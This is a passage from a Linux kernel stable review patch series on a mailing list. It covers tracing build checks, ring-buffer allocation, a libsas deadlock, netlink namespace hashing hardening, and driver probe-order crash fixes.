@@ -2675,7 +2680,7 @@ struct task_struct * __init fork_idle(int cpu)
{
struct task_struct *task;
struct kernel_clone_args args = {
- .flags = CLONE_VM,
+ .flags = CLONE_VM | CLONE_FS,
.fn = &idle_dummy,
.fn_arg = NULL,
.kthread = 1,
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 068/242] tracing: Fix empty symbol names in simple_ring_buffer undef check
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (66 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 067/242] fs: let idle threads share init_fs Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 069/242] tracing: Fix simple_ring_buffer undef check on parisc Greg Kroah-Hartman
` (173 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Guenter Roeck, Vincent Donnefort,
Steven Rostedt, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <vdonnefort@google.com>
[ Upstream commit c902b6d709845def1d1d3ab818e0b9d9b962ab16 ]
Sparc64 emits empty symmbol names. Skips them when establishing the
allowlist and when extracing undefined symbols.
Link: https://patch.msgid.link/20260923074213.3077182-2-vdonnefort@google.com
Fixes: 1211907ac0b5 ("tracing: Generate undef symbols allowlist for simple_ring_buffer")
Reported-by: Guenter Roeck <linux@roeck-us.net>
Closes: https://lore.kernel.org/all/5574c9e6-9ed2-4ee6-a2b2-fb6ee81e83a1@roeck-us.net/
Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
Tested-by: Guenter Roeck <linux@roeck-us.net>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/trace/Makefile | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/kernel/trace/Makefile b/kernel/trace/Makefile
index f934ff586bd43..0e1846f7dda32 100644
--- a/kernel/trace/Makefile
+++ b/kernel/trace/Makefile
@@ -146,11 +146,11 @@ KASAN_SANITIZE_undefsyms_base.o := y
UNDEFINED_ALLOWLIST = __asan __gcov __kasan __kcsan __hwasan __sancov __sanitizer __tsan __ubsan __msan \
__aeabi_unwind_cpp __s390_indirect_jump __x86_indirect_thunk simple_ring_buffer \
- $(shell $(NM) -u $(obj)/undefsyms_base.o 2>/dev/null | awk '{print $$2}')
+ $(shell $(NM) -u $(obj)/undefsyms_base.o 2>/dev/null | awk '$$2 {print $$2}')
quiet_cmd_check_undefined = NM $<
cmd_check_undefined = \
- undefsyms=$$($(NM) -u $< | grep -v $(addprefix -e , $(UNDEFINED_ALLOWLIST)) || true); \
+ undefsyms=$$($(NM) -u $< | awk '$$2 {print $$2}' | grep -v $(addprefix -e , $(UNDEFINED_ALLOWLIST)) || true); \
if [ -n "$$undefsyms" ]; then \
echo "Unexpected symbols in $<:" >&2; \
echo "$$undefsyms" >&2; \
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 069/242] tracing: Fix simple_ring_buffer undef check on parisc
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (67 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 068/242] tracing: Fix empty symbol names in simple_ring_buffer undef check Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 070/242] tracing: Fix simple_ring_buffer undef check on sparc64 Greg Kroah-Hartman
` (172 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Guenter Roeck, Vincent Donnefort,
Steven Rostedt, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <vdonnefort@google.com>
[ Upstream commit ba875c4483359ad4c056e00d3da089c7db56bea6 ]
simple_ring_buffer uses local_set() and cmpxchg() on unsigned long. Add
them to undefsyms_base.c to extend the allowlist for the parisc
architecture.
Link: https://patch.msgid.link/20260923074213.3077182-3-vdonnefort@google.com
Fixes: 1211907ac0b5 ("tracing: Generate undef symbols allowlist for simple_ring_buffer")
Reported-by: Guenter Roeck <linux@roeck-us.net>
Closes: https://lore.kernel.org/all/5574c9e6-9ed2-4ee6-a2b2-fb6ee81e83a1@roeck-us.net/
Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
Tested-by: Guenter Roeck <linux@roeck-us.net>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/trace/undefsyms_base.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/kernel/trace/undefsyms_base.c b/kernel/trace/undefsyms_base.c
index e65baf58e6ffc..37310baf706b0 100644
--- a/kernel/trace/undefsyms_base.c
+++ b/kernel/trace/undefsyms_base.c
@@ -9,6 +9,7 @@
#include <linux/atomic.h>
#include <linux/string.h>
+#include <asm/local.h>
#include <asm/page.h>
void undefsyms_base(void *p, int n);
@@ -18,11 +19,13 @@ static char page[PAGE_SIZE] __aligned(PAGE_SIZE);
void undefsyms_base(void *p, int n)
{
char buffer[256] = { 0 };
-
u32 u = 0;
+
memset((char * volatile)page, 8, PAGE_SIZE);
memset((char * volatile)buffer, 8, sizeof(buffer));
memcpy((void * volatile)p, buffer, sizeof(buffer));
cmpxchg((u32 * volatile)&u, 0, 8);
+ cmpxchg((unsigned long *)p, 0, 8);
+ local_set((local_t *)p, 8);
WARN_ON(n == 0xdeadbeef);
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 070/242] tracing: Fix simple_ring_buffer undef check on sparc64
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (68 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 069/242] tracing: Fix simple_ring_buffer undef check on parisc Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 071/242] ring-buffer: Skip si_mem_available() for persistent and remote buffers Greg Kroah-Hartman
` (171 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Guenter Roeck, Vincent Donnefort,
Steven Rostedt, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <vdonnefort@google.com>
[ Upstream commit 0fa993581aaa58a34ae3dcebebe0fbf593fcb441 ]
simple_ring_buffer relies on headers that end up including
<asm/thread_info.h>. On sparc64, this emits the undefined symbol
current_thread_info_reg. Allow this symbol.
Link: https://patch.msgid.link/20260923074213.3077182-4-vdonnefort@google.com
Fixes: 1211907ac0b5 ("tracing: Generate undef symbols allowlist for simple_ring_buffer")
Reported-by: Guenter Roeck <linux@roeck-us.net>
Closes: https://lore.kernel.org/all/5574c9e6-9ed2-4ee6-a2b2-fb6ee81e83a1@roeck-us.net/
Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
Tested-by: Guenter Roeck <linux@roeck-us.net>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/trace/Makefile | 1 +
1 file changed, 1 insertion(+)
diff --git a/kernel/trace/Makefile b/kernel/trace/Makefile
index 0e1846f7dda32..3860bc53a4bed 100644
--- a/kernel/trace/Makefile
+++ b/kernel/trace/Makefile
@@ -146,6 +146,7 @@ KASAN_SANITIZE_undefsyms_base.o := y
UNDEFINED_ALLOWLIST = __asan __gcov __kasan __kcsan __hwasan __sancov __sanitizer __tsan __ubsan __msan \
__aeabi_unwind_cpp __s390_indirect_jump __x86_indirect_thunk simple_ring_buffer \
+ current_thread_info_reg \
$(shell $(NM) -u $(obj)/undefsyms_base.o 2>/dev/null | awk '$$2 {print $$2}')
quiet_cmd_check_undefined = NM $<
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 071/242] ring-buffer: Skip si_mem_available() for persistent and remote buffers
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (69 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 070/242] tracing: Fix simple_ring_buffer undef check on sparc64 Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 072/242] tracing: probes: error if BTF is required but unavailable Greg Kroah-Hartman
` (170 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Vincent Donnefort, Steven Rostedt,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <vdonnefort@google.com>
[ Upstream commit c9fc60c18b6d42efdea0cd88ca132b2f452157c3 ]
Persistent and remote buffer memory is pre-allocated by the time
__rb_allocate_pages() is called. Skip si_mem_available() to avoid
wrongly failing the allocation under memory pressure.
For the same reason, unset user_thread.
Link: https://patch.msgid.link/20261013102047.1488347-2-vdonnefort@google.com
Fixes: be68d63a139b ("ring-buffer: Add ring_buffer_alloc_range()")
Fixes: 2e67fabd8b77 ("ring-buffer: Introduce ring-buffer remotes")
Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/trace/ring_buffer.c | 41 +++++++++++++++++++-------------------
1 file changed, 21 insertions(+), 20 deletions(-)
diff --git a/kernel/trace/ring_buffer.c b/kernel/trace/ring_buffer.c
index 7c59e8e586196..4c0141d8e0622 100644
--- a/kernel/trace/ring_buffer.c
+++ b/kernel/trace/ring_buffer.c
@@ -2424,20 +2424,30 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer,
struct trace_buffer *buffer = cpu_buffer->buffer;
struct ring_buffer_cpu_meta *meta = NULL;
struct buffer_page *bpage, *tmp;
- bool user_thread = current->mm != NULL;
struct ring_buffer_desc *desc = NULL;
+ bool user_thread = false;
long i;
- /*
- * Check if the available memory is there first.
- * Note, si_mem_available() only gives us a rough estimate of available
- * memory. It may not be accurate. But we don't care, we just want
- * to prevent doing any allocation when it is obvious that it is
- * not going to succeed.
- */
- i = si_mem_available();
- if (i < nr_pages)
- return -ENOMEM;
+ if (buffer->range_addr_start) {
+ meta = rb_range_meta(buffer, nr_pages, cpu_buffer->cpu);
+ } else if (buffer->remote) {
+ desc = ring_buffer_desc(buffer->remote->desc, cpu_buffer->cpu);
+ if (!desc || WARN_ON(desc->nr_page_va != (nr_pages + 1)))
+ return -EINVAL;
+ } else {
+ /*
+ * Check if the available memory is there first.
+ * Note, si_mem_available() only gives us a rough estimate of available
+ * memory. It may not be accurate. But we don't care, we just want
+ * to prevent doing any allocation when it is obvious that it is
+ * not going to succeed.
+ */
+ i = si_mem_available();
+ if (i < nr_pages)
+ return -ENOMEM;
+
+ user_thread = current->mm != NULL;
+ }
/*
* If a user thread allocates too much, and si_mem_available()
@@ -2451,15 +2461,6 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer,
if (user_thread)
set_current_oom_origin();
- if (buffer->range_addr_start)
- meta = rb_range_meta(buffer, nr_pages, cpu_buffer->cpu);
-
- if (buffer->remote) {
- desc = ring_buffer_desc(buffer->remote->desc, cpu_buffer->cpu);
- if (!desc || WARN_ON(desc->nr_page_va != (nr_pages + 1)))
- return -EINVAL;
- }
-
for (i = 0; i < nr_pages; i++) {
bpage = alloc_cpu_page(cpu_buffer->cpu);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 072/242] tracing: probes: error if BTF is required but unavailable
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (70 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 071/242] ring-buffer: Skip si_mem_available() for persistent and remote buffers Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 073/242] scsi: libsas: Fix SMP IO deadlock during HA resume Greg Kroah-Hartman
` (169 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Martin Kaiser, Steven Rostedt,
Masami Hiramatsu (Google), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Martin Kaiser <martin@kaiser.cx>
[ Upstream commit 66c658033d842bb75f81f20aaa4a378fe47be1a1 ]
traceprobe_expand_meta_args expands probe arguments based on BTF info.
Return an error if we have arguments that need expanding but BTF is not
supported.
The params variable is now unused, it can be removed.
Link: https://lore.kernel.org/all/20261014083838.31020-1-martin@kaiser.cx/
Fixes: d157d7694460 ("tracing/probes: Support BTF field access from $retval")
Signed-off-by: Martin Kaiser <martin@kaiser.cx>
Reviewed-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/trace/trace_probe.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/kernel/trace/trace_probe.c b/kernel/trace/trace_probe.c
index f3c20a093f5dd..4c929d7d6345a 100644
--- a/kernel/trace/trace_probe.c
+++ b/kernel/trace/trace_probe.c
@@ -1842,7 +1842,6 @@ const char **traceprobe_expand_meta_args(int argc, const char *argv[],
int *new_argc, char *buf, int bufsize,
struct traceprobe_parse_context *ctx)
{
- const struct btf_param *params = NULL;
int i, j, n, used, ret, args_idx = -1;
const char **new_argv __free(kfree) = NULL;
@@ -1860,7 +1859,7 @@ const char **traceprobe_expand_meta_args(int argc, const char *argv[],
if (args_idx != -1) {
/* $arg* requires BTF info */
trace_probe_log_err(0, NOSUP_BTFARG);
- return (const char **)params;
+ return ERR_PTR(-EOPNOTSUPP);
}
*new_argc = argc;
return NULL;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 073/242] scsi: libsas: Fix SMP IO deadlock during HA resume
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (71 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 072/242] tracing: probes: error if BTF is required but unavailable Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 074/242] netlink: avoid hashing the network namespace pointer Greg Kroah-Hartman
` (168 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Xingui Yang, John Garry,
Martin K. Petersen (Oracle), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Xingui Yang <yangxingui@huawei.com>
[ Upstream commit 81e097a064b28b4a1f6ca1a8b433e659c1bd64c0 ]
smp_execute_task_sg() calls pm_runtime_get_sync() on the host before
issuing an SMP command. When that command is itself issued from the HA
resume path, the get_sync() deadlocks: it waits for the ongoing resume
(the device is RPM_RESUMING), while the resume is blocked in
sas_drain_work() waiting for that same SMP IO to complete.
The deadlock needs an expander-attached SATA disk. During
sas_resume_ha() -> sas_drain_work(), DISCE_RESUME -> sas_resume_sata()
-> ata_sas_port_resume() requests ATA_EH_RESET, and the hard reset for
such a disk is done via SMP PHY CONTROL (sas_ata_hard_reset() ->
sas_phy_reset() -> sas_smp_phy_control() ->
smp_execute_task_sg()). Direct-attached SATA resets through
lldd_control_phy() and SSP devices use TMFs, so neither hits this.
Replace the get_sync()/put_sync() pair with
pm_runtime_get_noresume()/pm_runtime_put(). smp_execute_task_sg() only
needs to hold off autosuspend while the SMP is in flight, and it must
not try to resume the host: a sync resume issued from the HA resume path
itself is what deadlocks, and by the time sas_resume_ha() runs, hw_init
has already reinitialized the hardware, so the device is accessible
without one.
The usage reference is still required. Discovery work normally runs
inside an event worker's PM reference, taken at sas_notify_port_event()
notify time and held until the handler has flushed the disco
queue. sas_rediscover_ex_phy() however requeues DISCE_REVALIDATE_DOMAIN
from within the revalidation worker itself, and flush_workqueue() does
not wait for work items queued during execution, so that chained
revalidation runs with no outer PM reference - without the
get_noresume(), its SMP could race autosuspend.
For the BSG path, sas_smp_handler() is the only caller which may find
the host autosuspended: expander SMP requests do not go through any SCSI
device request queue, so nothing else in that path holds the host
awake. Resume it there with pm_runtime_resume_and_get() and check the
result.
Fixes: 3dbbbf656b850 ("scsi: libsas: Fix HA resume deadlock and hisi_sas disk-wake race")
Signed-off-by: Xingui Yang <yangxingui@huawei.com>
Reviewed-by: John Garry <john.garry@linux.dev>
Link: https://patch.msgid.link/20260928040234.992912-1-yangxingui@huawei.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/scsi/libsas/sas_expander.c | 14 ++++++++++++--
1 file changed, 12 insertions(+), 2 deletions(-)
diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c
index f471ab464a78b..2ab6513709a46 100644
--- a/drivers/scsi/libsas/sas_expander.c
+++ b/drivers/scsi/libsas/sas_expander.c
@@ -62,7 +62,11 @@ static int smp_execute_task_sg(struct domain_device *dev,
to_sas_internal(dev->port->ha->shost->transportt);
struct sas_ha_struct *ha = dev->port->ha;
- pm_runtime_get_sync(ha->dev);
+ /*
+ * Non-blocking: a sync resume here would deadlock against
+ * sas_drain_work() during HA resume.
+ */
+ pm_runtime_get_noresume(ha->dev);
mutex_lock(&dev->ex_dev.cmd_mutex);
for (retry = 0; retry < 3; retry++) {
if (test_bit(SAS_DEV_GONE, &dev->state)) {
@@ -135,7 +139,7 @@ static int smp_execute_task_sg(struct domain_device *dev,
}
}
mutex_unlock(&dev->ex_dev.cmd_mutex);
- pm_runtime_put_sync(ha->dev);
+ pm_runtime_put(ha->dev);
BUG_ON(retry == 3 && task != NULL);
sas_free_task(task);
@@ -2162,6 +2166,11 @@ void sas_smp_handler(struct bsg_job *job, struct Scsi_Host *shost,
goto out;
}
+ /* The host may have autosuspended, resume it here. */
+ ret = pm_runtime_resume_and_get(dev->port->ha->dev);
+ if (ret)
+ goto out;
+
ret = smp_execute_task_sg(dev, job->request_payload.sg_list,
job->reply_payload.sg_list);
if (ret >= 0) {
@@ -2169,6 +2178,7 @@ void sas_smp_handler(struct bsg_job *job, struct Scsi_Host *shost,
rcvlen = job->reply_payload.payload_len - ret;
ret = 0;
}
+ pm_runtime_put(dev->port->ha->dev);
out:
bsg_job_done(job, ret, rcvlen);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 074/242] netlink: avoid hashing the network namespace pointer
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (72 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 073/242] scsi: libsas: Fix SMP IO deadlock during HA resume Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 075/242] net: hisilicon: hisi_femac: Move setting of netops to fix crash Greg Kroah-Hartman
` (167 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Kyle Zeng, Simon Horman,
Eric Dumazet, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <kylebot@openai.com>
[ Upstream commit f88bb3606e4bd11ee035b682cddc2999e604609a ]
The netlink rhashtable key includes a raw struct net pointer and a
user-controlled port ID. Both /proc/net/netlink and socket diagnostics
expose the table's bucket order. By binding and rebinding chosen
NETLINK_USERSOCK port IDs, an unprivileged reader can distinguish equal
buckets and recover the low bits of the Jenkins hash. Its 32-bit seed
and the limited set of kernel-image slides can then be searched offline
to recover the address of init_net.
Use the namespace's unique, non-address net_cookie in the comparison
key instead. It is assigned before the per-net initializers run and
remains unchanged for the namespace's lifetime. The lookup key and
object hash are still built by netlink_compare_arg_init(), keeping
lookup, insertion, removal and rehashing consistent while preserving
namespace separation. Neither public table walker needs to change.
Reading the socket's namespace cookie in netlink_compare() is safe
under RCU, including during namespace teardown. netlink_release()
removes the socket from the hash table and defers its final put with
call_rcu(). cleanup_net() runs the per-net exit methods and waits for
outstanding RCU callbacks with rcu_barrier() before freeing namespace
storage.
Unlike ns.ns_id, net_cookie is also available and initialized during
setup_net() in older stable kernels, making the change straightforward
to backport to v5.15 and later.
Fixes: c428ecd1a21f ("netlink: Move namespace into hash key")
Assisted-by: LLM
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Reviewed-by: Simon Horman <horms@kernel.org>
Reviewed-by: Eric Dumazet <edumazet@kernel.org>
Link: https://patch.msgid.link/20261008011359.63727-2-kylebot@openai.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/netlink/af_netlink.c | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
index 5324edb13760a..3b980302a7991 100644
--- a/net/netlink/af_netlink.c
+++ b/net/netlink/af_netlink.c
@@ -464,7 +464,7 @@ netlink_unlock_table(void)
struct netlink_compare_arg
{
- possible_net_t pnet;
+ u64 net_cookie;
u32 portid;
};
@@ -479,14 +479,14 @@ static inline int netlink_compare(struct rhashtable_compare_arg *arg,
const struct netlink_sock *nlk = ptr;
return nlk->portid != x->portid ||
- !net_eq(sock_net(&nlk->sk), read_pnet(&x->pnet));
+ sock_net(&nlk->sk)->net_cookie != x->net_cookie;
}
static void netlink_compare_arg_init(struct netlink_compare_arg *arg,
struct net *net, u32 portid)
{
memset(arg, 0, sizeof(*arg));
- write_pnet(&arg->pnet, net);
+ arg->net_cookie = net->net_cookie;
arg->portid = portid;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 075/242] net: hisilicon: hisi_femac: Move setting of netops to fix crash
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (73 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 074/242] netlink: avoid hashing the network namespace pointer Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 076/242] net: hisilicon: hip04_eth: " Greg Kroah-Hartman
` (166 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Yang, Maxime Chevallier,
Jijie Shao, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <mmyangfl@gmail.com>
[ Upstream commit 444889dfa27b54b39026e962464b1f8f9093e1ea ]
hisi_femac_drv_probe() connects the PHY before dev->netdev_ops is
assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads
dev->netdev_ops through netdev_need_ops_lock() since the commit in
question, so probing crashes with a NULL pointer dereference when
CONFIG_NET_SHAPER is enabled.
phy_link_topo_add_phy from phy_attach_direct+0xec/0x37c
of_phy_get_and_connect from hisi_femac_drv_probe+0x1f4/0x558
Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b
Assign netdev_ops before the PHY attach, as was done for emac in commit
7c9f391ec89c ("net: emac: move setting of netops to fix crash").
Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
Signed-off-by: David Yang <mmyangfl@gmail.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
Reviewed-by: Jijie Shao <shaojijie@huawei.com>
Link: https://patch.msgid.link/20261008022656.3592191-2-mmyangfl@gmail.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/hisilicon/hisi_femac.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/hisilicon/hisi_femac.c b/drivers/net/ethernet/hisilicon/hisi_femac.c
index d244a40df4309..016605e86f0b0 100644
--- a/drivers/net/ethernet/hisilicon/hisi_femac.c
+++ b/drivers/net/ethernet/hisilicon/hisi_femac.c
@@ -830,6 +830,8 @@ static int hisi_femac_drv_probe(struct platform_device *pdev)
hisi_femac_phy_reset(priv);
}
+ ndev->netdev_ops = &hisi_femac_netdev_ops;
+
phy = of_phy_get_and_connect(ndev, node, hisi_femac_adjust_link);
if (!phy) {
dev_err(dev, "connect to PHY failed!\n");
@@ -850,7 +852,6 @@ static int hisi_femac_drv_probe(struct platform_device *pdev)
ndev->watchdog_timeo = 6 * HZ;
ndev->priv_flags |= IFF_UNICAST_FLT;
- ndev->netdev_ops = &hisi_femac_netdev_ops;
ndev->ethtool_ops = &hisi_femac_ethtools_ops;
netif_napi_add_weight(ndev, &priv->napi, hisi_femac_poll,
FEMAC_POLL_WEIGHT);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 076/242] net: hisilicon: hip04_eth: Move setting of netops to fix crash
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (74 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 075/242] net: hisilicon: hisi_femac: Move setting of netops to fix crash Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 077/242] net: ethernet: actions: " Greg Kroah-Hartman
` (165 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Yang, Maxime Chevallier,
Jijie Shao, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <mmyangfl@gmail.com>
[ Upstream commit 0d9342701f14ec0a9465772b7cd5d515c1ecd818 ]
hip04_mac_probe() calls of_phy_connect() before ndev->netdev_ops is
assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads
dev->netdev_ops through netdev_need_ops_lock() since the commit in
question, so probing crashes with a NULL pointer dereference when
CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit
7c9f391ec89c ("net: emac: move setting of netops to fix crash").
Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
Signed-off-by: David Yang <mmyangfl@gmail.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
Link: https://patch.msgid.link/20261008022656.3592191-3-mmyangfl@gmail.com
Reviewed-by: Jijie Shao <shaojijie@huawei.com>
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/hisilicon/hip04_eth.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/hisilicon/hip04_eth.c b/drivers/net/ethernet/hisilicon/hip04_eth.c
index fc2c47dcfaabe..d0409de5c5531 100644
--- a/drivers/net/ethernet/hisilicon/hip04_eth.c
+++ b/drivers/net/ethernet/hisilicon/hip04_eth.c
@@ -976,6 +976,8 @@ static int hip04_mac_probe(struct platform_device *pdev)
goto init_fail;
}
+ ndev->netdev_ops = &hip04_netdev_ops;
+
priv->phy_node = of_parse_phandle(node, "phy-handle", 0);
if (priv->phy_node) {
priv->phy = of_phy_connect(ndev, priv->phy_node,
@@ -989,7 +991,6 @@ static int hip04_mac_probe(struct platform_device *pdev)
INIT_WORK(&priv->tx_timeout_task, hip04_tx_timeout_task);
- ndev->netdev_ops = &hip04_netdev_ops;
ndev->ethtool_ops = &hip04_ethtool_ops;
ndev->watchdog_timeo = TX_TIMEOUT;
ndev->priv_flags |= IFF_UNICAST_FLT;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 077/242] net: ethernet: actions: Move setting of netops to fix crash
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (75 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 076/242] net: hisilicon: hip04_eth: " Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 078/242] net: mv643xx: move " Greg Kroah-Hartman
` (164 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Yang, Maxime Chevallier,
Jijie Shao, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <mmyangfl@gmail.com>
[ Upstream commit c2c4824319850c87e77d26aeb8f860bc310a64d7 ]
owl_emac_probe() calls owl_emac_phy_init(), which connects the PHY,
